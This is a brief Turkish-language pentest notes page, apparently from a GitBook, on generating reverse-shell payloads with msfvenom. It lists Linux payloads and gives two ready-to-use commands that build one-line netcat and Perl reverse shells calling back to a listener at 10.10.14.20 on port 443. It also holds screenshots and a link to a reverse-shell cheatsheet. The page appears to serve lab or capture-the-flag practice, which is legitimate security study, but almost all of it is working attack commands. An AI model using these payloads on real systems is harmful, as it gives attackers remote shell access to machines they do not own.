# Reverse Shell w/Msfvenom

Payloadları listeleriz

`msfvenom -l payloads | grep linux`

Bir dosya yükleyerek değilde tek satır ile reverse almak için aşağıda ki gibi bir payload oluşturmalıyız.&#x20;

`msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.20 LPORT=443 R`

<figure><img src="https://3256200453-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdgBjVj5SEIGGByUujC8x%2Fuploads%2FA7mO07o9H7e3m14tW3SW%2Fimage.png?alt=media&#x26;token=16753df5-0faa-4411-9f01-34821a3fcc77" alt=""><figcaption></figcaption></figure>

`msfvenom -p cmd/unix/reverse_perl LHOST=10.10.14.20 LPORT=443 R`

<figure><img src="https://3256200453-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdgBjVj5SEIGGByUujC8x%2Fuploads%2FsEwJdi2F2I7hNireePg2%2Fimage.png?alt=media&#x26;token=ab940072-a480-4c06-9c5c-ec6f70a33090" alt=""><figcaption></figcaption></figure>

{% embed url="https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/" %}
